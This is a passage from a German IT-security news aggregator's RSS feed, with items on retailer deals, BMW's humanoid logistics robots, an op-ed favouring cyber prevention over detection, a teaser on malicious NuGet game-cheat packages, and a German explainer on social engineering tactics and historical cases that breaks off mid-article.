This update marks a noticeable shift in how Canva operates, moving it from a standard image editor into a serious web publishing tool for small businesses and creators. As AI development pushes forward, visual website builders like this will likely become the standard way people create online spaces.]]></content:encoded>
</item>
<item>
<title><![CDATA[Notebooksbilliger: Angebote der Woche stark reduziert 15. Juli]]></title>
<description><![CDATA[Notebooksbilliger.de bie­tet der­zeit wie­der vie­le Pro­duk­te zum stark re­du­zier­ten Preis. So­lange der Vor­rat reicht, gibt es al­ler­hand Schnäpp­chen, die, im direkten Vergleich zum Stra­ßen­preis, erneut deut­lich re­du­ziert wur­den.			(Weiter lesen)]]></description>
<link>https://tsecurity.de/de/3670213/it-security-nachrichten/notebooksbilliger-angebote-der-woche-stark-reduziert-15-juli/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670213/it-security-nachrichten/notebooksbilliger-angebote-der-woche-stark-reduziert-15-juli/</guid>
<pubDate>Wed, 15 Jul 2026 11:54:09 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<a href="https://winfuture.de/special/notebooksbilliger/angebote#1784108280"><img hspace="5" border="0" align="left" alt="NBB, Notebooksbilliger, nbb.com, ADW, Angebote der Woche" width="1920" height="1080" src="https://i.wfcdn.de/teaser/1920/65494.png"></a>
			Notebooksbilliger.de bie­tet der­zeit wie­der vie­le Pro­duk­te zum stark re­du­zier­ten Preis. So­lange der Vor­rat reicht, gibt es al­ler­hand Schnäpp­chen, die, im direkten Vergleich zum Stra­ßen­preis, erneut deut­lich re­du­ziert wur­den.			(<a href="https://winfuture.de/special/notebooksbilliger/angebote#1784108280">Weiter lesen</a>)]]></content:encoded>
</item>
<item>
<title><![CDATA[BMW elevates its AI humanoid robot strategy to include logistics]]></title>
<description><![CDATA[When people hear the term artificial intelligence, they usually think of chatbots or data analysis. But at BMW’s Spartanburg plant in the US, AI is now getting hands, legs, and eyes. Under the term physical AI, the automaker is integrating the new humanoid AI robt Figure 03 into its production lo...]]></description>
<link>https://tsecurity.de/de/3670176/it-security-nachrichten/bmw-elevates-its-ai-humanoid-robot-strategy-to-include-logistics/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670176/it-security-nachrichten/bmw-elevates-its-ai-humanoid-robot-strategy-to-include-logistics/</guid>
<pubDate>Wed, 15 Jul 2026 11:35:32 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">When people hear the term <em>artificial intelligence</em>, they usually think of chatbots or data analysis. But at BMW’s Spartanburg plant in the US, AI is now getting hands, legs, and eyes. Under the term <em>physical AI</em>, the automaker is integrating the new humanoid AI robt Figure 03 into its production logistics.</p>



<p class="wp-block-paragraph">The move comes as no surprise: For almost a year, <a href="https://www.cio.de/article/3699238/bmw-testet-naechste-generation-humanoider-roboter.html?utm=hybrid_search">BMW had the predecessor (Figure 02)</a> welding body parts for more than 30,000 vehicles. The conclusion of this practical test: The machines can precisely perform monotonous, heavy tasks. Now the technology is leaving the testing phase and moving to where things get highly complex: logistics.</p>



<h2 class="wp-block-heading">The task: Transform chaos into order</h2>



<p class="wp-block-paragraph">While its predecessor simply lifted sheets of metal, the further enhanced Figure 03 has to solve cognitive and tactile tasks. In logistics, it picks unsorted components from large boxes and sorts them into carts in the exact required order. Automated transport systems then take over, carrying them to the assembly line.</p>



<p class="wp-block-paragraph">To achieve this, the manufacturer has upgraded Figure AI. The new robot has:</p>



<ul class="wp-block-list">
<li>Cameras and tactile sensors directly in the palms of the hands for greater sensitivity</li>



<li>Audio functions for true speech-to-speech communication in the factory hall</li>



<li>Wireless charging for continuous, autonomous operation</li>



<li>Softer components to increase safety for human colleagues</li>
</ul>



<p class="wp-block-paragraph">At first glance, a humanoid robot might seem like a project solely for the production manager. That’s a misconception. This use case is relevant for everyone, and is highly relevant for CIOs. Figure 03 is ultimately nothing other than a highly complex, mobile edge client that has to process large amounts of data (video, audio, sensor data) locally and in real-time.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/BMW-humanoider-Roboter-Figure-03_.png?w=1024" alt="BMW, humanoider Roboter Figure 03, Spartanburg" class="wp-image-4190512" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">These advanced robots, equipped with new capabilities, are taking on new tasks.</figcaption></figure><p class="imageCredit">BMW AG</p></div>



<p class="wp-block-paragraph">BMW is demonstrating in Spartanburg that such a robot works, but only in a fully digitized ecosystem like an automotive plant. This means that the IT department is the enabler for the production environment of the future.</p>



<ol start="1" class="wp-block-list">
<li><strong>Virtual twins:</strong> Even before the first robot touches a box, BMW simulates Hall 52 and all movement sequences in a 3D “Virtual Factory.” IT provides the planning basis.</li>



<li><strong>AI Quality Control (AIQX):</strong> Error detection is performed using cameras and microphones along the production line. The algorithms perform visual and audible checks and send the feedback directly to the smart devices of human colleagues.</li>



<li><strong>Infrastructure scaling:</strong> When robots communicate via voice, charge wirelessly, and interact with autonomous transporters, the WLAN, 5G, and network backbone in the factory must have low latency and be fail-safe.</li>
</ol>



<p class="wp-block-paragraph">On the one hand, the humanoid robot relieves BMW factory workers of physically demanding work; on the other hand, it forces the IT department to merge traditional IT infrastructure and factory technology (OT). “Physical AI” has thus arrived in everyday industrial practice.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Cybersecurity needs more prevention and less reliance on cure]]></title>
<description><![CDATA[Ask any medical doctor, and they’ll tell you that prevention is better than cure. It’s more cost-effective and it has better outcomes.



The same is true in cybersecurity. But we believe that our industry has veered too far away from this simple concept. We observe that most new tools are detect...]]></description>
<link>https://tsecurity.de/de/3670112/it-security-nachrichten/cybersecurity-needs-more-prevention-and-less-reliance-on-cure/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670112/it-security-nachrichten/cybersecurity-needs-more-prevention-and-less-reliance-on-cure/</guid>
<pubDate>Wed, 15 Jul 2026 11:08:49 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Ask any medical doctor, and they’ll tell you that prevention is better than cure. It’s more cost-effective and it has better outcomes.</p>



<p class="wp-block-paragraph">The same is true in cybersecurity. But we believe that our industry has veered too far away from this simple concept. We observe that most new tools are detection-focused, and we are calling for cyber innovators and venture capital to re-emphasize and invest resources into blocking rather than just discovering problems.</p>



<p class="wp-block-paragraph">The reasons that cybersecurity relies on detection are understandable, and they are based on the history of networked systems. Early systems were fragile. Recovery was slow and downtime was costly. So, the first security controls were designed to restrict unauthorized access. They blocked execution and prevented exploitation, because if an attack succeed – such as a computer virus running successfully – the consequences might have been irreversible.</p>



<p class="wp-block-paragraph">When the internet exploded in the 1990s, prevention solutions multiplied. Vendors developed firewalls and antivirus platforms to stop threats before they started.</p>



<p class="wp-block-paragraph">But attackers adapted, of course, and networks grew more complex. Perimeter controls were no longer good enough on their own. The cyber industry responded with intrusion detection systems and later with <a href="https://www.csoonline.com/article/3829750/4-key-trends-reshaping-the-siem-market.html?utm=hybrid_search">Security Information and Event Management</a>. Detection got a boost from large-scale log aggregation and analytics.</p>



<p class="wp-block-paragraph">This was a great complement to prevention. But it was never meant to replace it.</p>



<h2 class="wp-block-heading">Detection didn’t reduce risk</h2>



<p class="wp-block-paragraph">Security today focuses on visibility, alerting and response. Executives use metrics like mean-time-to-detect and mean-time-to-respond, and compromise is often assumed to be inevitable. But as detection improves, this has not caused a proportional decline in compromise rates.</p>



<p class="wp-block-paragraph">IBM’s <a href="https://www.ibm.com/think/insights/data-matters/cost-of-a-data-breach">Cost of a Data Breach Report</a> consistently shows that faster identification and containment reduce financial impact. But the average global cost of a breach is still millions of dollars – because detection does not prevent the initial compromise.</p>



<p class="wp-block-paragraph">The initial problem continues to come from the usual places: known vulnerabilities, stolen credentials or misconfigurations. In other words, detection reduces impact in the short term, but it does not reduce structural risk.</p>



<h2 class="wp-block-heading">The limits of a detection-first model</h2>



<p class="wp-block-paragraph">When we gather for industry forums like the RSAC Conference, the topics include automation, AI-driven response and operational resilience. These are certainly important, but they have limits. Detection produces false positives and noise. The volume of alerts begins to outpace human capacity to sift through it for the genuine issues. Alert fatigue is real, and talent shortages continue.</p>



<p class="wp-block-paragraph">We observe that the ratio of detection tools versus prevention tools is getting bigger. RSAC Conference runs <a href="https://www.rsaconference.com/rsac-programs/innovation/innovation-sandbox">the largest startup competition</a> in cybersecurity. Over the past three years more than 500 new cybersecurity companies have entered the competition, and we estimate that more than 70 percent of these companies are shipping detection tools, not prevention tools.</p>



<p class="wp-block-paragraph">Detection activates only after a failure has occurred, and unfortunately modern adversaries now operate at machine speed. Vulnerabilities are attacked through automation, and artificial intelligence generates phishing campaigns at a massive scale.</p>



<p class="wp-block-paragraph">As AI lowers barriers to entry and speeds up capabilities, the attack surface will expand even more. Advances in some of the frontier AI models, such as Anthropic’ s Mythos and OpenAI’s GPT-5.5, may unearth previously unknown zero-day risks while chaining together various low-risk vulnerabilities.</p>



<p class="wp-block-paragraph">If that’s not enough, quantum computing raises concerns about <a href="https://www.csoonline.com/article/4180902/reap-now-decipher-later-thats-the-approach-to-cybersecurity-in-the-quantum-age.html">cryptographic resilience</a>. Relying primarily on faster alerting is not the best response to all these threats that will simply multiply faster.</p>



<h2 class="wp-block-heading">Prevention changes the economics</h2>



<p class="wp-block-paragraph">On the other hand, prevention changes defensive economics. To shrink the problem space, a professional can do these things: enable phish-resistant multifactor authentication (MFA), block malicious execution, segment networks and proactively manage vulnerabilities.</p>



<p class="wp-block-paragraph">As exposure decreases, alert volume declines. Detection becomes more effective because noise is reduced.</p>



<p class="wp-block-paragraph">Research shows that organizations have fewer high-impact breaches when they have mature identity governance, proactive patching and zero trust principles. Preventative maturity correlates with reduced incident severity and lower long-term costs. It doesn’t require perfection to be valuable.</p>



<p class="wp-block-paragraph">We think that security leaders, therefore, should reconsider how to define success. Reducing dwell time – the time an attacker is inside your systems – is important. Reducing entry points is fundamental. But when budgets favor post-compromise visibility over preventive architecture and governance, cybersecurity is not fulfilling its original mandate.</p>



<p class="wp-block-paragraph">AI will only amplify the imbalance, as capabilities that once required years of training can now be deployed quickly. Offensive toolkits are readily available.</p>



<h2 class="wp-block-heading">Achieving a better balance</h2>



<p class="wp-block-paragraph">We believe that scalable prevention architectures and capabilities present a better path forward than expanding analyst headcount.</p>



<p class="wp-block-paragraph">Cyber threats will accelerate and detection will remain essential. But our profession shouldn’t be defined by how efficiently we observe compromise. It should be defined by how effectively we reduce the likelihood of compromise in the first place.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Gamers Download Fake Cheats and Hand Attackers a Live Remote Control of Their Windows PCs]]></title>
<description><![CDATA[New research uncovered 11 malicious NuGet packages disguised as game cheats, bots, and management panels for popular online titles. The campaign targets gaming communities playing titles such as Albion Online, GTA5RP, GrandRP, Majestic RP, and Throne and Liberty. Once installed, these packages qu...]]></description>
<link>https://tsecurity.de/de/3669838/it-security-nachrichten/gamers-download-fake-cheats-and-hand-attackers-a-live-remote-control-of-their-windows-pcs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3669838/it-security-nachrichten/gamers-download-fake-cheats-and-hand-attackers-a-live-remote-control-of-their-windows-pcs/</guid>
<pubDate>Wed, 15 Jul 2026 09:08:44 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>New research uncovered 11 malicious NuGet packages disguised as game cheats, bots, and management panels for popular online titles. The campaign targets gaming communities playing titles such as Albion Online, GTA5RP, GrandRP, Majestic RP, and Throne and Liberty. Once installed, these packages quietly deploy a remote-access payload that captures live screenshots of victims’ machines, exposing […]</p>
<p>The post <a href="https://cybersecuritynews.com/game-fake-cheats-remote-access/">Gamers Download Fake Cheats and Hand Attackers a Live Remote Control of Their Windows PCs</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Notebooksbilliger: Angebote der Woche stark reduziert 15. Juli]]></title>
<description><![CDATA[Notebooksbilliger.de bie­tet der­zeit wie­der vie­le Pro­duk­te zum stark re­du­zier­ten Preis. So­lange der Vor­rat reicht, gibt es al­ler­hand Schnäpp­chen, die, im direkten Vergleich zum Stra­ßen­preis, erneut deut­lich re­du­ziert wur­den.			(Weiter lesen)]]></description>
<link>https://tsecurity.de/de/3669667/it-security-nachrichten/notebooksbilliger-angebote-der-woche-stark-reduziert-15-juli/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3669667/it-security-nachrichten/notebooksbilliger-angebote-der-woche-stark-reduziert-15-juli/</guid>
<pubDate>Wed, 15 Jul 2026 07:53:02 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<a href="https://winfuture.de/special/notebooksbilliger/angebote#1784093703"><img hspace="5" border="0" align="left" alt="NBB, Notebooksbilliger, nbb.com, ADW, Angebote der Woche" width="1920" height="1080" src="https://i.wfcdn.de/teaser/1920/65505.png"></a>
			Notebooksbilliger.de bie­tet der­zeit wie­der vie­le Pro­duk­te zum stark re­du­zier­ten Preis. So­lange der Vor­rat reicht, gibt es al­ler­hand Schnäpp­chen, die, im direkten Vergleich zum Stra­ßen­preis, erneut deut­lich re­du­ziert wur­den.			(<a href="https://winfuture.de/special/notebooksbilliger/angebote#1784093703">Weiter lesen</a>)]]></content:encoded>
</item>
<item>
<title><![CDATA[Was ist Social Engineering?]]></title>
<description><![CDATA[Mit Social-Engineering-Techniken manipulieren Cyberkriminelle die menschliche Psyche. Lesen Sie, wie das funktioniert und wie Sie sich schützen können.sp3n | shutterstock.com



Selbst wenn Sie bei der Absicherung Ihres Rechenzentrums, Ihrer Cloud-Implementierungen und der physischen Sicherheit I...]]></description>
<link>https://tsecurity.de/de/3669518/it-security-nachrichten/was-ist-social-engineering/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3669518/it-security-nachrichten/was-ist-social-engineering/</guid>
<pubDate>Wed, 15 Jul 2026 05:53:09 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2025/06/sp3n-shutterstock.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Puppet Master 16z9" class="wp-image-4006516" width="1024" height="576" sizes="(max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Mit Social-Engineering-Techniken manipulieren Cyberkriminelle die menschliche Psyche. Lesen Sie, wie das funktioniert und wie Sie sich schützen können.</figcaption></figure><p class="imageCredit">sp3n | shutterstock.com</p></div>



<p class="wp-block-paragraph">Selbst wenn Sie bei der Absicherung Ihres Rechenzentrums, Ihrer Cloud-Implementierungen und der physischen Sicherheit Ihres Firmengebäudes alle Register ziehen – mit Hilfe von Social Engineering finden gewiefte Cyberkriminelle meistens einen Weg, diese Maßnahmen zu umgehen.</p>



<h2 class="wp-block-heading">Social Engineering – Definition</h2>



<p class="wp-block-paragraph"><a href="https://de.wikipedia.org/wiki/Social_Engineering_(Sicherheit)" title="Social Engineering" target="_blank" rel="noopener">Social Engineering</a> bezeichnet die “Kunst”, menschliche Schwächen auszunutzen, um sich Zugang zu Gebäuden, Systemen oder Daten zu verschaffen. Anstatt zu versuchen, eine Software-Schwachstelle zu finden und auszunutzen, wird ein Social Engineer beispielsweise einen Mitarbeiter anrufen und sich als IT-Support-Angestellter ausgeben, um ihn zur Herausgabe seines Passworts zu bewegen.</p>



<p class="wp-block-paragraph">Der bekannte Hacker Kevin Mitnick hat den Begriff Social Engineering in den 1990er Jahren entscheidend mitgeprägt. Die Grundidee, sich menschliches Verhalten zunutze zu machen und die Techniken dahinter, gibt es allerdings schon so lange, wie es Betrüger gibt.</p>



<h2 class="wp-block-heading">Social Engineering – Techniken</h2>



<p class="wp-block-paragraph"><a href="https://www.computerwoche.de/article/2780856/social-engineering-angriffe-erkennen-und-verhindern.html" title="Social Engineering" target="_blank">Social Engineering</a> hat sich für Cyberkriminelle als besonders erfolgreich erwiesen, wenn es darum geht in Unternehmen einzudringen. Sobald ein Angreifer das Passwort eines vertrauenswürdigen Mitarbeiters erbeutet hat, kann er sich damit einloggen und sensible Daten auslesen. Mit einer Zugangskarte oder einem Code, der physischen Zugang gewährt, können Cyberkriminelle sogar noch größeren Schaden anrichten.</p>



<p class="wp-block-paragraph">Im Artikel “<a href="https://www.csoonline.com/article/2123704/social-engineering--anatomy-of-a-hack.html?nsdr=true" title="Social Engineering: Anatomy of a Hack" target="_blank">Social Engineering: Anatomy of a Hack</a>” beschreibt ein Penetrationtester, wie er aktuelle Ereignisse, öffentlich verfügbare Informationen aus sozialen Netzwerken und ein Hemd mit Cisco-Logo aus einem Second-Hand-Laden dazu nutzte, illegal in ein Unternehmen einzudringen. Das vier Dollar teure Gebrauchthemd half ihm, die Rezeptionisten und andere Mitarbeiter davon zu überzeugen, dass er im Auftrag von Cisco technischen Support leisten müsste. Einmal eingedrungen, war es für ihn ein Leichtes, auch anderen Teammitgliedern Zutritt zu verschaffen. Darüber hinaus gelang es dem <a href="https://www.computerwoche.de/article/2770285/was-ist-pentesting.html" title="Ethical Hacker" target="_blank">Ethical Hacker</a>, mehrere mit Malware verseuchte USB-Sticks in den Räumen zu platzieren und sich in das Unternehmensnetzwerk zu hacken. All das lief vor den Augen der Mitarbeiter ab.</p>



<p class="wp-block-paragraph">Um einen erfolgreichen Social-Engineering-Angriff zu fahren, müssen Sie nicht unbedingt zuerst in einen Second-Hand-Laden gehen, diese Angriffe funktionieren ebenso gut per E-Mail, Telefon oder über soziale Netzwerke. Allen Angriffsarten ist dabei gemein, dass sie menschliche Eigenschaften zu ihrem Vorteil nutzen – beispielsweise Gier, Angst, Neugier oder auch das Bedürfnis, anderen zu helfen.</p>



<p class="wp-block-paragraph">Cyberkriminelle nehmen sich dabei oft Wochen oder Monate Zeit, um ein Ziel auszukundschaften, bevor Sie einen persönlichen Besuch wagen, eine Nachricht senden oder einen Anruf tätigen. Zu den Vorbereitungen kann beispielsweise gehören, eine Telefonliste oder ein Organigramm des Zielunternehmens zu finden oder die Mitarbeiter über <a href="https://www.computerwoche.de/article/2752864/wenn-der-hacker-ueber-linkedin-kommt.html" title="soziale Netzwerke" target="_blank">soziale Netzwerke</a> zu recherchieren. Anschließend können Sie beispielsweise über folgende Wege aktiv werden.</p>



<ul class="wp-block-list">
<li><p><strong>Am Telefon:</strong> Ein Social Engineer könnte anrufen und vorgeben, ein Mitarbeiter oder eine vertrauenswürdige externe Autorität zu sein (zum Beispiel ein Strafverfolgungsbeamter oder ein Wirtschaftsprüfer).</p></li>



<li><p><strong>Im Büro:</strong>“Können Sie mir die Tür aufhalten? Ich habe meinen Schlüssel/ meine Zugangskarte vergessen.” Diesen Satz haben Sie sicher auch schon einmal so vernommen. Auch wenn die fragende Person nicht verdächtig erscheinen mag – das ist eine beliebte Taktik beim Social Engineering.</p></li>



<li><p><strong>Online:</strong> Soziale Netzwerke erleichtern es, Social-Engineering-Angriffe zu fahren. Über Plattformen wie LinkedIn lassen sich schnell und einfach die meisten Mitarbeiter eines Unternehmens finden. Oft kommen noch viele andere Informationen dazu, die unter Umständen für weitere Angriffe nützlich sein können.</p></li>
</ul>



<p class="wp-block-paragraph">Beim Social Engineering werden regelmäßig auch aktuelle Ereignisse, Feiertage oder auch Popkultur-Phänomene dazu eingesetzt, Opfer in die Falle zu locken. Dabei passen die Cyberkriminellen ihre Phishing-Angriffe so an, dass sie auf bestimmte Interessen (Musik, Sport, Politik, etc.) abzielen. Das erhöht die Chance, dass die mit <a href="https://www.computerwoche.de/article/2800283/das-kleine-abc-der-schadsoftware.html" title="Malware" target="_blank">Malware</a> verseuchten Anhänge angeklickt werden.</p>



<h2 class="wp-block-heading">Social Engineering – Angriffsformen</h2>



<ul class="wp-block-list">
<li><p><strong>Phishing-Angriffe</strong> (zu denen auch SMS-basierte <a title="Smishing" href="https://www.computerwoche.de/article/2796003/wie-phishing-per-sms-funktioniert.html" target="_blank">Smishing</a>– und Voice-basierte <a title="Vishing-Attacken" href="https://www.computerwoche.de/article/2796419/wie-phishing-per-telefon-funktioniert.html" target="_blank">Vishing-Attacken</a> zählen) sind oft mit geringem Aufwand verbunden. Das Motto: “Die Masse macht’s”. Im Rahmen von Phishing-Kampagnen werden oft Tausende identischer E-Mails verschickt. Anschließend müssen die Angreifer nur noch darauf warten, dass jemand leichtgläubig genug ist, um auf den enthaltenen Anhang zu klicken.</p></li>



<li><p><strong>Spear Phishing</strong> oder auch Whaling bezeichnet Phishing-Angriffe, die ganz bewusst <a title="hochrangige Ziele ins Visier nehmen" href="https://www.csoonline.com/article/3491895/e-mail-sicherheit-die-psychotricks-der-spear-phishing-betruger.html" target="_blank">hochrangige Ziele ins Visier nehmen</a>. Spear-Phishing-Angreifer verbringen im Regelfall viel Zeit damit, solche Ziele zunächst auszukundschaften. Das Ziel besteht dabei darin, einen möglichst überzeugenden, personalisierten Scam auf die Beine zu stellen.</p></li>



<li><p><strong>Baiting</strong> ist ein essenzieller Bestandteil aller Phishing-Formen – und anderen Betrügereien. Es bezeichnet die Verlockung, mit der die Ziele in Versuchung geführt werden – sei es eine SMS, die kostenlose Geschenkkarten verspricht oder eine E-Mail, die Kryptowährungen zu besonders attraktiven Preisen oder gar kostenlos in Aussicht stellt.</p></li>



<li><p>Beim <strong>Pretexting</strong> handelt es sich um eine <a title='betrügerische Form von "Storytelling"' href="https://www.computerwoche.de/article/2803547/was-ist-pretexting.html" target="_blank">betrügerische Form von “Storytelling”</a>. Die dabei erfundene Geschichte soll das Opfer zum Beispiel dazu bewegen, persönliche Informationen oder Zugangsdaten preiszugeben. Weiß ein Angreifer beispielsweise, bei welcher Bank sein Opfer Kunde ist, könnte er sich als Mitarbeiter des Kundendiensts ausgeben und unter einem Vorwand wie “Zahlungsverzug” versuchen, Finanzinformationen zu erhalten.</p></li>



<li><p><strong>Business Email Compromise</strong> (BEC), auch bekannt als <a title="CEO-Fraud" href="https://www.computerwoche.de/article/2765169/wenn-hacker-chef-spielen.html" target="_blank">CEO-Fraud</a>, kombiniert mehrere der bislang genannten Techniken. Ein Angreifer erlangt entweder die Kontrolle über die E-Mail-Adresse eines Opfers oder schafft es, E-Mails zu versenden, die so aussehen, als kämen sie von dieser legitimen Adresse. Damit kontaktieren die Angreifer die Untergebenen des Angegriffenen in seinem Namen und ordnen beispielsweise dringliche Überweisungen an.</p></li>



<li><p><strong>Tailgating</strong> ist eine physische Social-Engineering-Form, bei der Angreifer den Mitarbeitern eines Unternehmens <a title="ins Firmengebäude folgen" href="https://www.csoonline.com/article/3493920/10-essenzielle-masnahmen-fur-physische-sicherheit.html" target="_blank">ins Firmengebäude folgen</a>. Dazu könnten diese sich beispielsweise als Lieferant oder neuer Mitarbeiter, der den Ausweis vergessen hat, ausgeben.</p></li>
</ul>



<h2 class="wp-block-heading">Social Engineering – Beispiele</h2>



<p class="wp-block-paragraph">Um ein Gefühl dafür zu bekommen, auf welche Social-Engineering-Taktiken Sie besonders achten sollten, empfiehlt sich ein Blick auf erfolgreiche Angriffe der Vergangenheit. Hierbei konzentrieren wir uns auf drei spezifische Social-Engineering-Angriffe, die für Cyberkriminelle besonders einträglich ausgefallen sind:</p>



<p class="wp-block-paragraph"><strong>1. Etwas Verlockendes anbieten</strong></p>



<p class="wp-block-paragraph">Jeder Trickbetrüger weiß: Am einfachsten ist es, aus der menschlichen Gier Profit zu schlagen. Das bildet die Grundlage des klassischen <a href="https://www.computerwoche.de/article/2600682/insider-chat-mit-einem-online-betrueger.html" title="nigerianischen 419-Scams" target="_blank">nigerianischen 419-Scams</a>: Hierbei gaukeln Betrüger ihren Opfern vor, sie müssten hohe, unrechtmäßig erworbene Geldsummen aus dem eigenen Land zu einer sicheren Bank im Ausland transferieren. Dazu bräuchten sie Unterstützung: Gegen die Zahlung vermeintlicher Provisions-, Verwaltungs- oder Versicherungsgebühren könnten die Opfer einen Gutteil des oft millionenschweren Geldbetrags abbekommen, so dass betrügerische Versprechen. </p>



<p class="wp-block-paragraph">Angriffe dieser Art sind seit Jahrzehnten bekannt und eigentlich eine Lachnummer, aber nichtsdestotrotz immer noch eine effektive Social-Engineering-Technik, auf die Menschen hereinfallen: Im Jahr 2007 überwies der Schatzmeister eines dünn besiedelten Bezirks im US-Bundesstaat Michigan einem solchen Betrüger <a href="https://www.cfo.com/risk-compliance/2007/06/treasurer-steals-to-pay-for-e-mail-scam/" title="1,2 Millionen Dollar an öffentlichen Geldern" target="_blank" rel="noopener">1,2 Millionen Dollar an öffentlichen Geldern</a> – in der Hoffnung abkassieren zu können. </p>



<p class="wp-block-paragraph">Ein weiterer gängiger Köder ist die Aussicht auf einen neuen, besseren Job: Im Rahmen einer äußerst peinlichen Kompromittierung traf es im Jahr 2011 das Sicherheitsunternehmen RSA auf diese Weise. Mindestens zwei Mitarbeiter öffneten eine Malware-verseuchte Datei, die <a href="https://www.networkworld.com/article/697270/malware-cybercrime-was-this-the-email-that-took-down-rsa.html" title="an eine Phishing-E-Mail angehängt war" target="_blank">an eine Phishing-E-Mail angehängt war</a>. Der Dateiname: “2011 recruitment plan.xls”.</p>



<p class="wp-block-paragraph"><strong>2. Fake it till you make it</strong></p>



<p class="wp-block-paragraph">Eine der simpelsten – und überraschenderweise auch erfolgreichsten – Social-Engineering-Techniken besteht darin, sich als ratlosen Mitarbeiter auszugeben. Bei einem seiner legendären frühen Betrugsversuche verschaffte sich Kevin Mitnick Zugang zu den Betriebssystem-Entwicklungsservern der <a href="http://passwordresearch.com/stories/story47.html" title="Digital Equipment Corporation" target="_blank" rel="noopener">Digital Equipment Corporation</a>. Sein Vorgehen: Er rief bei DEC an, gab sich als leitender Entwickler aus und behauptete, er habe Probleme mit dem Login. Er wurde postwendend mit neuen Logindaten versorgt. Das spielte sich schon 1979 ab – man sollte also meinen, die Dinge hätten sich seitdem verbessert. Das ist allerdings nicht der Fall: Im Jahr 2016 erlangte ein Hacker <a href="https://www.nytimes.com/2016/02/09/us/hackers-access-employee-records-at-justice-and-homeland-security-depts.html" title="die Kontrolle über ein E-Mail-Konto" target="_blank" rel="noopener">die Kontrolle über ein E-Mail-Konto</a> des US-Justizministeriums und nutzte es, um sich wie seinerzeit Mitnick Zugangsdaten zu verschaffen. </p>



<p class="wp-block-paragraph">Zwar haben viele Organisationen Barrieren aufgebaut, die diese Art des dreisten Betrugs verhindern sollen, aber oft ist es nicht besonders schwer, sie zu umgehen. Als Hewlett-Packard (HP) im Jahr 2005 <a href="https://www.welt.de/print-welt/article155234/HP-Chef-gesteht-Verwicklung.html" title="Privatdetektive damit beauftragte " target="_blank" rel="noopener">Privatdetektive damit beauftragte </a>herauszufinden, welche Vorstandsmitglieder Informationen an die Presse durchstachen, versorgte das Unternehmen die Schnüffler mit den letzten vier Ziffern der Sozialversicherungsnummer ihrer Zielpersonen. Diese Daten akzeptierte der technische Support von HPs TK-Provider AT&amp;T als Identitätsnachweis und händigte den Detektiven detaillierte Anrufprotokolle aus.</p>



<p class="wp-block-paragraph"><strong>3. Autorität spielen</strong></p>



<p class="wp-block-paragraph">Viele Menschen sind daran gewöhnt, Autoritäten zu respektieren. Das wissen auch Cyberkriminelle. Sie spielen sich als Vorgesetzte oder Führungskräfte aus, um an ihr Ziel zu gelangen. So überwiesen im Jahr 2015 Finanzmitarbeiter von Ubiquiti Networks Firmengelder in Millionenhöhe <a href="https://krebsonsecurity.com/2015/08/tech-firm-ubiquiti-suffers-46m-cyberheist/" title="an Social-Engineering-Betrüger" target="_blank" rel="noopener">an Social-Engineering-Betrüger</a>, die sich als Führungskräfte des Unternehmens ausgegeben und ihre Glaubwürdigkeit mit gefälschten E-Mail-Absendern unterstrichen hatten. </p>



<p class="wp-block-paragraph">Ein anderes Beispiel: Zur Jahrtausendwende gehörte es für (manche) britische Boulevard-Journalisten zum guten Ton, sich Zugang zu den Voicemail-Konten von für sie interessanten Personen zu verschaffen. So überzeugte ein Journalist den TK-Anbieter Vodafone davon, die Voicemail-PIN <a href="https://www.theguardian.com/uk/2011/apr/05/sienna-miller-wins-court-order-for-phone-data" title="der Schauspielerin Sienna Miller zurückzusetzen" target="_blank" rel="noopener">der Schauspielerin Sienna Miller zurückzusetzen</a>, indem er dort anrief und sich als “Kollege John aus der Credit-Control-Abteilung” ausgab. </p>



